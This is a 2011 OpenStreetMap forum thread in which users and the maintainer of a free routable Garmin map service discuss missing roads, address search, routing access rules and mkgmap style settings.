- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 05.10.2011 20:46 · [flux]
freewave wrote:
Is it normal for woods and wetlands to show up as lines in mapsource and basecamp? I suspect its because there is no typ file but I really dont know.
regardsYes, those are the default renderings, and provide a good reason to create a TYP file.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.10.2011 08:43 · [flux]
chris66 wrote:
ligfietser wrote:
Basecamp has other issues. The latest releases (from 3.2.1) doesn't support OSM access rules anymore....
Cyclists will be routed on major highways or steps, even motorcars will take cycleways etc.
This sucks....Yes, I have the same issue with my selfbuild map in BC. 🙁
The question is: Bug in BC or design decision at Garmin (to break OSM maps on Garmin) .......
Chris
Reports of users with the new Etrex 10/20/30 series show that it is a decision at Garmin.
On these new models cars will be routed on cycleways and footpaths no matter what the OSM access rules are saying.... - Re: Worldwide routable Garmin maps: URL REMOVED · shawnsumin (Gast) · 11.10.2011 01:20 · [flux]
Your latest update is missing a street that was there previously: 49.065417,-122.291247
Its missing McCallum Rd which links to Abbotsford-Misson Highway.
Tile "CA-Abbotsford" @ http://planetosm.oxilion.nl/~lambertus/ … 240393.img
It was there in the September 30 build? Not sure why it is not there in the latest build (October 9).
I don't believe there was any changes on OSM to cause this change.
Edit:
Update: It is missing a huge section of Highway 1 in Abbotsford, BC also.
- Re: Worldwide routable Garmin maps: URL REMOVED · sabri66 (Gast) · 11.10.2011 06:59 · [flux]
Hi lambertus,
First I noticed that country files like Osm routable mapsource are smaller than the one before, for ex for Algeria 57Mo to 33 Mo and the last '09/10/2011' is 12Mo, I thought that Mkgmap made some new dev in compression but the last version lot of highway disapeared, and some streets in my town also. What is the issue? and thanks - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.10.2011 08:36 · [flux]
shawnsumin & sabri66 thank you for the reports. Via email I also received:
The most recent downloads are multiple megabits smaller than the last updates. When loaded in Mapsource many details including roads are missing. I checked the OSM data using a direct OSM reader and the map looks OK. Something has gone wrong in the last week in the OSM to Garmin img conversion process. Specifically the tile containing Guatemala City.
I guess something has gone quite wrong during this update and I'll revert back to the previous one.
- Re: Worldwide routable Garmin maps: URL REMOVED · hesher (Gast) · 12.10.2011 09:05 · [flux]
Lambertus wrote:
shawnsumin & sabri66 thank you for the reports. Via email I also received:
The most recent downloads are multiple megabits smaller than the last updates. When loaded in Mapsource many details including roads are missing. I checked the OSM data using a direct OSM reader and the map looks OK. Something has gone wrong in the last week in the OSM to Garmin img conversion process. Specifically the tile containing Guatemala City.
I guess something has gone quite wrong during this update and I'll revert back to the previous one.
Thanks!
FYI - I'm still seeing this issue with a map I downloaded 5 minutes ago. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.10.2011 16:45 · [flux]
Reverted to the old version just now. Had no time earlier to do it...
- Re: Worldwide routable Garmin maps: URL REMOVED · miramikes (Gast) · 16.10.2011 01:28 · [flux]
Hi Lambertus,
many thanks for you online project it is great!
I am just interested if it is possible to build map based on opencyclemap?
I need map for hiking and opencyclemap is much more helpful in this case.best regards
mira
- Re: Worldwide routable Garmin maps: URL REMOVED · RetiredInNH (Gast) · 16.10.2011 01:42 · [flux]
Have you looked at Openmtbmap.org – Mountainbike and Hiking Maps based on Openstreetmap?
Note: I have not used it myself as there are hiker specific maps for the areas that I am interested in.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.10.2011 09:27 · [flux]
miramikes wrote:
Hi Lambertus,
many thanks for you online project it is great!
I am just interested if it is possible to build map based on opencyclemap?
I need map for hiking and opencyclemap is much more helpful in this case.best regards
mira
Yes, we are planning to release a world wide version of my Openfietsmap (fiets=cycling in Dutch), it's now available for the Benelux and Germany on my website.
Depends when Lambertus gets his server ready, any progress Lambertus? - Re: Worldwide routable Garmin maps: URL REMOVED · miramikes (Gast) · 16.10.2011 12:34 · [flux]
RetiredInNH wrote:
Have you looked at Openmtbmap.org – Mountainbike and Hiking Maps based on Openstreetmap?
Note: I have not used it myself as there are hiker specific maps for the areas that I am interested in.
Thank you for link ... very interesting. Actually in this case I am searching more for hikers maps too.
Especially what I missing are "contours" ... generally I need more TOPO information.The problem can be also partly on my side too ...
I just bought my very first GPS (Garmin 78s) and both maps
( from http://garmin.openstreetmap.nl/ and from http://openmtbmap.org/)
doesn't show contour and others TOPO details for hiking.Moreover I am using linux ... I am just copying *.img files to garmin/ directory.
Maybe I do something wrong?
regards
mira
- Re: Worldwide routable Garmin maps: URL REMOVED · miramikes (Gast) · 16.10.2011 12:38 · [flux]
ligfietser wrote:
Yes, we are planning to release a world wide version of my Openfietsmap (fiets=cycling in Dutch), it's now available for the Benelux and Germany on my website.
Depends when Lambertus gets his server ready, any progress Lambertus?That's great ... I am interested in South America maps now. It will be also possible to get them in cycling version?
regards
mira
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.10.2011 18:37 · [flux]
If the contour lines are what you need in the cycling version, I dont think we will add that soon.
There are maybe other free maps that have contours, dont know if openmtb have them for south america.To install the maps on your Garmin, you only need the gmapsupp.img version and copy this to the garmin directory
The other imgs are tiles for your computer (Mapsource). - Re: Worldwide routable Garmin maps: URL REMOVED · miramikes (Gast) · 16.10.2011 22:06 · [flux]
ligfietser wrote:
If the contour lines are what you need in the cycling version, I dont think we will add that soon.
Contour lines would be great, but any addition of topo details would be big improvement for me.
Now I have just white places for ground and blue for warter and routes of course. But for hiking it is not idealCan be some improvement in topo details expected by adding cyclemap possibility?
I mean various green colors for forest and grassy places, brown tones for mountains ... and so on.ligfietser wrote:
There are maybe other free maps that have contours, dont know if openmtb have them for south america.
I checked openmtb... not for south america 🙁 just for europe.
Even Garmin offers just "Google imaginary" what is just picture from googleearth for South America. It is not really a map.ligfietser wrote:
To install the maps on your Garmin, you only need the gmapsupp.img version and copy this to the garmin directory
The other imgs are tiles for your computer (Mapsource).Thank you for clarifying this.
regards
mira
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.10.2011 08:18 · [flux]
There are some improvements because the cyclemap has its own style and typ file (see my website for screenshots), which are going to be implemented as well in the general world routable maps as well, see for some examples this topic: http://forum.openstreetmap.org/viewtopi … =13257&p=2
The landuses are of course limited because the details of the OSM map in South America is not quite as rich as here in Western Europe.
As for the brown tones for mountains like the shaded relief map that opencyclemap is using, we are not able to produce this on a Garmin. Garmin self has its own world based relief map, don't know if you have it on your gps. There are versions of this world dem map downloadable but this is of course illegal ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · miramikes (Gast) · 17.10.2011 17:04 · [flux]
ligfietser wrote:
As for the brown tones for mountains like the shaded relief map that opencyclemap is using, we are not able to produce this on a Garmin. Garmin self has its own world based relief map, don't know if you have it on your gps.]
Thank you ... I got base map works on my garmin it was done by bad setting (disabled shading also disable base map)
I have one other problem ... when I am using OSM and garmin base map together in higher resolution (below 300km) sea area change color from blue to green.
It makes orientation quite difficult especially in area with many channels and islands. Interesting is that rivers and lakes stay blue.
When I turn off OSM sea is again blue, but need have both maps on.Any idea how to fix it?
mira
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.10.2011 18:10 · [flux]
I think there is nothing wrong with your unit, it is just the fact that the world routable osm map doesn't render the sea or oceans yet, and thus shows the background colour (which could be green?). Rivers and lakes are rendered, so thats why you only see blue there and not in the sea :-)
There is no way to fix this, until Lambertus will decide to render the seas.
- Re: Worldwide routable Garmin maps: URL REMOVED · miramikes (Gast) · 17.10.2011 18:32 · [flux]
ligfietser wrote:
There is no way to fix this, until Lambertus will decide to render the seas.
It would be great ... Please Lambertus do it 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lalith Herath (Gast) · 19.10.2011 09:48 · [flux]
Please update the Sri Lankan Map again. Also tell me how can I help to update the Sri Lankan map
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 19.10.2011 16:12 · [flux]
There's a lot to read, Lalith. Start here:
http://wiki.openstreetmap.org/wiki/Beginners%27_guide - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.10.2011 13:50 · [flux]
ligfietser wrote:
Depends when Lambertus gets his server ready, any progress Lambertus?
Sorry this is moving forward so slowly. Been very busy @work and was just away for a week without internet. I'll try to get to it this weekend.
- Re: Worldwide routable Garmin maps: URL REMOVED · shawnsumin (Gast) · 21.10.2011 20:21 · [flux]
So did you figure out what caused the map update to fail? (causing you to revert to September 30th version).
Also do you know what is the progress in mkgmap adding Street Address support. From what I understand you are waiting for the Street Address support to land in mkgmap trunk branch?
Also a little confused about the Street Address in OSM via web browser.
Is Searching by Street Address supposed to work via the web browser: http://www.openstreetmap.org/ ?
- Re: Worldwide routable Garmin maps: URL REMOVED · JacobGarvelink (Gast) · 22.10.2011 17:02 · [flux]
Hi There, really great stuff openstreetmap! I have a (probably noob) question. I have selected one tile (southern Portugal) last evening, I did receive the confirmation e-mail but I have not yet received the e-mail of my 'window opening' eventhough this should have been open this morning. I am probably just impatient but I was wondering wether there might be something wrong with server? I am leaving on Monday so this is why I am bit pressed for time. At this moment the delay seems to be 1.2 days! Sorry for bothering you, I hope somebody finds time to help.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.10.2011 17:49 · [flux]
shawnsumin wrote:
So did you figure out what caused the map update to fail? (causing you to revert to September 30th version).
No. There are no logs and the terminal that contains the script output was killed because the update looked good at first glance.
Also do you know what is the progress in mkgmap adding Street Address support. From what I understand you are waiting for the Street Address support to land in mkgmap trunk branch?
Address search is working reasonably well and assigning the streets to the localities is also working much better after the locator branch was merged with trunk. Use MapSource to create a good address index for the GPS, the gmapsupp as provided by the website isn't as good in that aspect.
Also a little confused about the Street Address in OSM via web browser.
That service is provided by the Nominatim software. The streetnames, places etc are part of the OSM data and Nominatim is a fast geolocator. The problem with the Garmin maps is that the index format wasn't understood very well for a long time. That's why Nominatim worked quite well and Garmin maps not. But as said things are shaping up.
Is Searching by Street Address supposed to work via the web browser: http://www.openstreetmap.org/ ?
Finding a housenumber will be difficult as most housenumbers aren't mapped yet. But finding a street or placename should work very well, but also depending on the fact if it is mapped.
JacobGarvelink wrote:
Hi There, really great stuff openstreetmap! I have a (probably noob) question. I have selected one tile (southern Portugal) last evening, I did receive the confirmation e-mail but I have not yet received the e-mail of my 'window opening' eventhough this should have been open this morning. I am probably just impatient but I was wondering wether there might be something wrong with server? I am leaving on Monday so this is why I am bit pressed for time. At this moment the delay seems to be 1.2 days! Sorry for bothering you, I hope somebody finds time to help.
The custom map server (i.e. non-country requests) was apparently rebooted and the map making scripts didn't resume handling requests after that. This has been fixed now, you should receive your map shortly now.
- Re: Worldwide routable Garmin maps: URL REMOVED · tachoknight (Gast) · 22.10.2011 18:08 · [flux]
First I'd like to thank Lambertus for this awesome service! I was working on something similar until I found this, and gave up...you did it much better than me and I love the results.
I have a question though, I thought I saw it somewhere but can't find it, but was wondering what settings the site uses with mkgmap when creating the map; I've been trying to make some maps for myself and I always seem to have some weird problem or another, while your site is always spot on and works perfectly.
Would it be okay to ask what switches you use?
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · JacobGarvelink (Gast) · 22.10.2011 18:21 · [flux]
The custom map server (i.e. non-country requests) was apparently rebooted and the map making scripts didn't resume handling requests after that. This has been fixed now, you should receive your map shortly now.
THANKS!!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lalith Herath (Gast) · 23.10.2011 16:20 · [flux]
can you update the sri lankan map from the openstreetmap ? I have added some maps there. Also will you be able to do this update at least once a week. I think that will be helpful most of the users
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.10.2011 08:57 · [flux]
shawnsumin wrote:
So did you figure out what caused the map update to fail? (causing you to revert to September 30th version).
I think I finally found the problem: file corruption due to a powerloss event earlier. It's fixed and a new update is running.
Lalith Herath wrote:
can you update the sri lankan map from the openstreetmap ? I have added some maps there. Also will you be able to do this update at least once a week. I think that will be helpful most of the users
I try to update once a week and never intended update rates faster then once a week. Generating maps for the whole world is a complex process and things break all the time. Sometimes this schedule is met, sometimes not, such is life. If you want fast updates for mapping verification then you'll have to roll your own local map.
- Re: Worldwide routable Garmin maps: URL REMOVED · shawnsumin (Gast) · 31.10.2011 01:48 · [flux]
Lambertus wrote:
Address search
To use the address search you must:
- Enter any housenumber first (it does not have to be an existing housenumber)
- Enter the streetname (at which point the GPS will start providing feedback about possible matches). You can choose the street from the matches or
- Enter the placename to narrow the search down to the correct street.If your GPS device asks for a State/Country code then don't use the address search but use the following two-step process:
- Search for the city/place name. Select it.
- Search for the street name. Select it.My GPS: Garmin nuvi 1690 is not able to even go into the Address search.
It just says "No Map Data Available".
There must be a way to merge the address data from Navteq (the one which comes with Mapsource) into OSM .img file which we download from your website?
BTW thanks for updating OSM data.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 31.10.2011 01:55 · [flux]
shawnsumin wrote:
There must be a way to merge the address data from Navteq (the one which comes with Mapsource) into OSM .img file which we download from your website?
There's no way to access Navteq data except by using a Navteq based map, so there's no way to merge databases from OSM and Garmin.
- Re: Worldwide routable Garmin maps: URL REMOVED · GavinX (Gast) · 01.11.2011 04:03 · [flux]
"No Map Data Available".
I am having the same problem on a Garmin 60csx using mapsource 6.11.6.
I have ticked "Include Route Calculation Data in mapsource.I use the process listed above - that is go to addresses, enter any old street number and then try to enter data into the street name and the response is "None Found" - zip...no streets are in the database.
Note that the map and street names are listed on the screen.
Anyone know what would be causing this?
thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 01.11.2011 16:30 · [flux]
GavinX wrote:
"No Map Data Available".
I am having the same problem on a Garmin 60csx using mapsource 6.11.6.
I have ticked "Include Route Calculation Data in mapsource.I use the process listed above - that is go to addresses, enter any old street number and then try to enter data into the street name and the response is "None Found" - zip...no streets are in the database.
Note that the map and street names are listed on the screen.
Anyone know what would be causing this?
thanks
Current MS version is 6.16.3. Unless you are using a very old operating system you should think of upgrading.
- Re: Worldwide routable Garmin maps: URL REMOVED · GavinX (Gast) · 04.11.2011 01:53 · [flux]
Have upgraded to the latest MS and downloaded the latest version of the OSM map and the outcome is identical as previously discussed.
Trying another approach I sent an older map to the GPS and it routed fine with that map (which is probably a year old) so there must be a problem with the current OSM configuration??
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.11.2011 12:37 · [flux]
Ligfietser tipped me to use a new feature of Mkgmap that should improve the address search quite a bit (bounds and location-fill options). A new version using these options is being uploaded now and should come online within
1224 hours or so.Crap, I forgot to upload the updated script. Restarted the update process...
- Re: Worldwide routable Garmin maps: URL REMOVED · curlyculp (Gast) · 06.11.2011 20:15 · [flux]
Your OSM's work perfect in my Edge 800. Thanks!! We ride many paths and trails that show in the OSM maps but not in Garmin's NT chip.
I'm having trouble getting my gf's 705 to read them, though. Could be the sd card I'm using is too big at 4gb. Do I need to use a smaller card?
- Re: Worldwide routable Garmin maps: URL REMOVED · gis_jam (Gast) · 07.11.2011 09:36 · [flux]
Dear Lambertus,
thanks a lot for this great service! I use it on my Vista HCx for navigation by foot and bike, where it works pretty good! Even the UI on your Server is fine for beginners, I recommended it multiple times to friends.
Now i noticed a strange routing behaviour: I tried to route by car to a distant place (Garmin routing setting: car/motorcycle) and my Garmin tried to take me multiple times over highway=track. In Germany there seems to be an agreement, that tracks without additional tags should not be used for car navigation (http://wiki.openstreetmap.org/wiki/DE:T … ay%3Dtrack). Openrouteservice regards this, for example.
Is there any possibility, that your maps could regard this, too?Once again, thanks a lot!
gis_jam
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 07.11.2011 09:58 · [flux]
The Germans seem to think that routing should follow what they are doing, but it cannot possibly work that way. In most countries on this planet driving on tracks is allowed and often the norm. I can't see anybody implementing a routing engine that will check whether a particular track is in Germany or not to decide whether to route over it or not. Certainly, I can't see mkgmap implementing this.
I suggest you object to this in the appropriate German forum and the talk page for the wiki entry that you have linked to.
Worse: I have just discovered that Garmin's own soft and firmware will happily route cars over walkways, unless they are specifically restricted. Now THAT I do not follow...
- Re: Worldwide routable Garmin maps: URL REMOVED · gis_jam (Gast) · 07.11.2011 10:18 · [flux]
Hi Beddhist, thanks for your reply. I understand that the worldwide community will never use the tags in an absolutely identical way. But isn't it unthinkable that a worldwide routable map should regard the regional characteristics? This service by Lambertus offers pre-defined regions for Download. Would it be problematic, that these regional datasets use the tags in a region-specific way? I think the commercial providers just do that...
Greetings, gis_jam
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.11.2011 10:30 · [flux]
@gis_jam, how about avoid unpaved roads?
Btw, it is possible to adapt the styles so country specific rules can be added. Something like mkgmap:country=DEU & highway=track {add motorcar=no} - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.11.2011 10:31 · [flux]
curlyculp wrote:
I'm having trouble getting my gf's 705 to read them, though. Could be the sd card I'm using is too big at 4gb. Do I need to use a smaller card?
No idea, sorry. Can't hurt to try though...
gis_jam wrote:
But isn't it unthinkable that a worldwide routable map should regard the regional characteristics?
I certainly isn't unthinkable. Indeed that would be great! But (there's always a but), I can't see any doable way to achieve this with my resources and tools.
This service by Lambertus offers pre-defined regions for Download. Would it be problematic, that these regional datasets use the tags in a region-specific way? I think the commercial providers just do that...
This is why you pay them money...
Does it help if you configure the GPS to avoid unpaved roads?
I'm aware that this service doesn't produce the ideal map for each country and each situation. It's very generic which also means it's not perfect. If you want a map that works better then you can have a look at any of the other map providers, many of whom specialize in a specific region or usage, or consider contributing to e.g. the Mkgmap project to make the software better...
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 07.11.2011 10:36 · [flux]
How should a routing engine 'know' that a track is in Germany and not in, say, Belgium just across the border? The track would have to be tagged as German. That's an additional redundant tag. You can be certain that many, if not most mappers wouldn't put it in.
The alternative would be for the mkgmap programmers to add code to the compiler to check whether a track is inside the German border. I can imagine how hard that would be. And that's just for one country. Then people will come along and say that in Undertibuktustan some other restriction does or does not apply and it is therefore implied and would the programmers please add code for that. They did it for Germany, Switzerland and Austria...
No, the Germans have to conform to the rest of the world and not the other way round. (I'm taking the liberty to say that as a German.)
If Openrouteservice works like that then I suspect that routing outside German speaking countries (I think they all work the same) will not work correctly.
E.g. Garmin buy their data from official sources and then compile the maps from that. So, it's easy for them to add restrictions to all tracks.
If you need this kind of routing then you can quite easily compile your own map with mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 07.11.2011 10:39 · [flux]
ligfietser wrote:
@gis_jam, how about avoid unpaved roads?
Btw, it is possible to adapt the styles so country specific rules can be added. Something like mkgmap:country=DEU & highway=track {add motorcar=no}You mean to say that the code to determine what country any given coordinate is in is already in mkgmap? Or does it rely on tags?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.11.2011 10:45 · [flux]
Peter,
For the address search index, mkgmap uses already the locator engine that can see where a highway is located. It is using admin. boundaries, so it can be nation wide, or within a state, or city.
These rules can also be used for access tags. I use them to specify if certain highways (like trunk roads, pedestrian streets) are allowed or not for cycling by law.
So in my style file I set those trunk roads to motorways, in order that cyclists are not allowed on them:
highway=trunk & mkgmap:country ~ '(NLD|BEL|LUX|FRA|DEU|AUT|CHE|DNK|HUN|ROU)' { set highway=motorway }This kind of rules you can also set for tracks.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 07.11.2011 10:50 · [flux]
Ok, Thanks. I'll go away and eat my words now...
My apologies to gis_jam.
- Re: Worldwide routable Garmin maps: URL REMOVED · gis_jam (Gast) · 07.11.2011 10:57 · [flux]
Beddhist wrote:
Ok, Thanks. I'll go away and eat my words now...
My apologies to gis_jam.
That's OK. We are all here to learn ;-) As Ligfietser pointed out it _is_ possible by GIS-Means: You just need a catalogue of regional specifica. By processing every way inside/outside a country's polygon you could see which characteristics would apply. But I absolutely understand that it goes beyond Lambertus' capacity.
Thanks for pointing me to avoiding unpaved roads - I'll try this out. Shouldn't be there a FAQ instead of this Monster-thread? Maybe in the OSM Wiki?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.11.2011 11:09 · [flux]
gis_jam wrote:
As Ligfietser pointed out it _is_ possible by GIS-Means: You just need a catalogue of regional specifica. By processing every way inside/outside a country's polygon you could see which characteristics would apply. But I absolutely understand that it goes beyond Lambertus' capacity.
Ligfietser and Beddhist are working on an improved generic routing stylesheet + TYP file. I'm sure the German specifics can find their way into this work.
I really must finish the server side stuff to use their promising work soon. Slap me in the face to get me moving! 😠
Thanks for pointing me to avoiding unpaved roads - I'll try this out. Shouldn't be there a FAQ instead of this Monster-thread? Maybe in the OSM Wiki?
There is a FAQ that lists some Mkgmap specific quirks. I'd welcome a wiki help/FAQ page for the garmin.openstreetmap.nl service and can link from that site to a wiki page, but there are already a buch of manuals listed so I'm not sure how much it will add...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.11.2011 11:52 · [flux]
I'll ask Beddhist to kick some ass ;-)
Btw Lambertus, I tried the new update but still find some country ABC data in the address search that doesn't belong there...
So it means the locator cannot assign all cities in the NLD's to the right places.
Could it be that you need to update the mkgmap version on the server as well (still shows mkgmap r2009)?
Or do you still filter some admin boundaries out of the map by preprocessing (admin level 4?) - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.11.2011 14:26 · [flux]
ligfietser wrote:
Btw Lambertus, I tried the new update but still find some country ABC data in the address search that doesn't belong there...
So it means the locator cannot assign all cities in the NLD's to the right places.Humpf... But a whole lot better now, hopefully?
Could it be that you need to update the mkgmap version on the server as well (still shows mkgmap r2009)?
The Mkgmap on the server is only used to create the gmapsupp from all the pre-rendered *.img files. I fail to see how that impacts the address search.
Or do you still filter some admin boundaries out of the map by preprocessing (admin level 4?)
Only the very lowest boundaries (9 and 10 afaik). But this is also disabled for the new setup to be (yet another reason to switch).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.11.2011 15:58 · [flux]
The addresses in the NLDs need Admin level=10 which are the place name boundaries. Maybe thats why the locator is confused?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.11.2011 17:32 · [flux]
ligfietser wrote:
The addresses in the NLDs need Admin level=10 which are the place name boundaries. Maybe thats why the locator is confused?
Oh dear 🙁
Yes, I reckon that's the culprit then. This pre-filtering has really proven to be hopeless... Thank you for identifying the likely source of the problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.11.2011 18:20 · [flux]
Prefiltering is not necessary, just make a copy of the default style, point to that directory in your mkgmap parameters (--style-file=c:\lambertus\default) and put some # in front of the lines that you dont want.
For instance in
http://www.mkgmap.org.uk/svn/wsvn/mkgma … ault/lines-
power=line [0x29 resolution 21]
and
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boundary=administrative & admin_level<7 [0x1c resolution 21]
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boundary=administrative & admin_level<9 [0x1c resolution 22]
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boundary=administrative [0x1c resolution 22]
-
boundary=national [0x1e resolution 17]
-
boundary=political [0x1c resolution 19]
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power=line [0x29 resolution 21]
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.11.2011 09:24 · [flux]
Yes, I know that ofcourse, but the original idea was that I could simply update Mkgmap regularly and be done with it. By starting to edit the style file another point of maintenance is added. I'll just stick with the current situation until I've got the new scripts ready that use your stylesheet+typ file.
- Re: Worldwide routable Garmin maps: URL REMOVED · GadenP (Gast) · 08.11.2011 17:37 · [flux]
Hi, I found this website as I am looking for a free map for my vacation in Australia.
I downloaded the map img file and uploded it to the sd card.
I got a huge problem with the img file that I hope someone can help me.
I can find the city or search points of interest.
But I cannot search for addresses. Why I try, it says No Map Data Available. If I enable my base map, I can find cities in that country but not in Australia. Also cannot change the country to Australia. No option to do so.
Anyone can help.
How to force Garmn to search for Australia addresses.
My Garmin is a nuvi 1490.
Please help.
Regards. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 08.11.2011 19:30 · [flux]
Hi Gaden,
Have you read the sticky topic about address searching? Do you have any other map enabled covering Oz?
Try putting your GPS into demo mode, then move the current location to Australia. Now search, but when asked to choose a country or city choose to search all. Leave house number blank.
- Re: Worldwide routable Garmin maps: URL REMOVED · GadenP (Gast) · 09.11.2011 01:29 · [flux]
Beddhist wrote:
Hi Gaden,
Have you read the sticky topic about address searching? Do you have any other map enabled covering Oz?
Try putting your GPS into demo mode, then move the current location to Australia. Now search, but when asked to choose a country or city choose to search all. Leave house number blank.
Hi Beddhist,
Thanks for your advise to read the sticky. I have gone through it and it seems that for my Garmin model breaks the OSM maps worst then normal.As it keeps on prompting "No Map Available" I cannot use the work around that is suggested.
I can find POI but addresses are totally broken.
I guess will have to find an alternative means to find my way.
Thanks for your help 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 09.11.2011 04:59 · [flux]
Check out this list. There should be an Oz map or two for you made with the 'original' compiler.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.11.2011 10:53 · [flux]
GadenP wrote:
I downloaded the map img file and uploded it to the sd card.
Address search will not work with this img file, you have to install the Mapsource version and send the maps with Mapsource to your device. Only Mapsource can create a working address index.
Maybe it helps to update the firmware of your nuvi.
In the latest firmwares there are fixes like this: "Fixed an error that caused address searches to return no results" or "Fixed an error that prevented a user from selecting a Country or State/Province while searching for an address using third-party maps." - Re: Worldwide routable Garmin maps: URL REMOVED · 32110 (Gast) · 10.11.2011 16:32 · [flux]
In the UK between the towns of Dorchester and Weymouth there is a new road, the Weymouth Relief Road A354. It seems OK in OSM but having built a custom set for the British Isles there is a section of the road that appears as a thin dotted line which I would associate with a track or footpath when viewed in Mapsource. The section is between Jurassic Roundabout and Veasta Roundabout. Other parts of this new road show correctly. Any ideas?
I have just made a minor edit to this section of road in OSM to remove the Key 'Construction' in the advanced menu as other parts of this road do not have this key.
- Re: Worldwide routable Garmin maps: URL REMOVED · gis_jam (Gast) · 10.11.2011 16:54 · [flux]
Lambertus wrote:
It certainly isn't unthinkable. Indeed that would be great! But (there's always a but), I can't see any doable way to achieve this with my resources and tools.
A hint from the german forum: http://wiki.openstreetmap.org/wiki/OSM_ … strictions
That could be a starter for regionalised routing done bei mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.11.2011 12:38 · [flux]
I read there that it is very questionable to do so. Better set the access tags correctly in OSM than let it done by mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · gis_jam (Gast) · 12.11.2011 20:10 · [flux]
ligfietser wrote:
Better set the access tags correctly in OSM than let it done by mkgmap.
In an ideal world: yes. But with our ever-imperfect Wiki-like OSM data, it should be OK to have country-defaults which can be overwritten by specific tags. Once again: I'm thinking of the normal user who just wants to download a map for his Garmin and then intends it to behave like the all the other navigation devices which uses commercial data (or better, naturally).
- Re: Worldwide routable Garmin maps: URL REMOVED · triggerfish (Gast) · 14.11.2011 19:12 · [flux]
Hi,
Would it be possible to select a couple of countries to get a map from. Like when I travel to spain, I'd love to select Netherlands, Belgium, France and Spain in one go and get that map. I am capable of getting the seperate tiles and combine them to a map, but if I could download one in one go, that would be easier 🙂
Best regards, Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · 32110 (Gast) · 19.11.2011 13:39 · [flux]
I downloaded a custom mapset for use on my PC in MapSource v6.13.7 (I know its old but its the version I prefer as it uses a better projection). Lakes and rivers are shown in blue but the sea is shown in the same yellowy colour as is the land. Are there any solutions to change the colour to a more appropriate one, say blue?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.11.2011 13:47 · [flux]
32110 wrote:
I downloaded a custom mapset for use on my PC in MapSource v6.13.7 (I know its old but its the version I prefer as it uses a better projection). Lakes and rivers are shown in blue but the sea is shown in the same yellowy colour as is the land. Are there any solutions to change the colour to a more appropriate one, say blue?
Yes, there are two solutions:
1) Wait until Lambertus will render the sea because this isn't rendered yet
2) Make your own map with mkgmapBTW In Mapsource 6.16 Garmin has improved the map projection compared to v 6.15 (those versions were indeed awful)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.11.2011 15:00 · [flux]
triggerfish wrote:
Would it be possible to select a couple of countries to get a map from. Like when I travel to spain, I'd love to select Netherlands, Belgium, France and Spain in one go and get that map. I am capable of getting the seperate tiles and combine them to a map, but if I could download one in one go, that would be easier 🙂
This has been suggested a few times before and I plan to introduce this in the next version of the website (which will take some time).
32110 wrote:
I downloaded a custom mapset for use on my PC in MapSource v6.13.7 (I know its old but its the version I prefer as it uses a better projection). Lakes and rivers are shown in blue but the sea is shown in the same yellowy colour as is the land. Are there any solutions to change the colour to a more appropriate one, say blue?
This is also planned for the next version, that will use the style file from this topic.
Btw, I've implemented Ligfietser's suggestion (without the last two lines) so I hope the flooding in some places and the missing highway problem is solved in the next map update that is running now (due within 2 days I hope).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.11.2011 10:21 · [flux]
Drat. The new map version is live and parts of Sidney are still flooded, despite that pre-processing has been eliminated (so Mkgmap should have all the data available).Perhaps it's an artifact of the splitting boundaries? I don't know. - Re: Worldwide routable Garmin maps: URL REMOVED · 32110 (Gast) · 21.11.2011 10:23 · [flux]
Just had a look and it seems that maps are now being constructed from older OSM data (29/10/2011) than recently when 5/11/2011 data was used.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.11.2011 11:17 · [flux]
32110 wrote:
Just had a look and it seems that maps are now being constructed from older OSM data (29/10/2011) than recently when 5/11/2011 data was used.
Aargh!! You are right, I distributed the wrong map version. Can I blame not having had coffee yet?
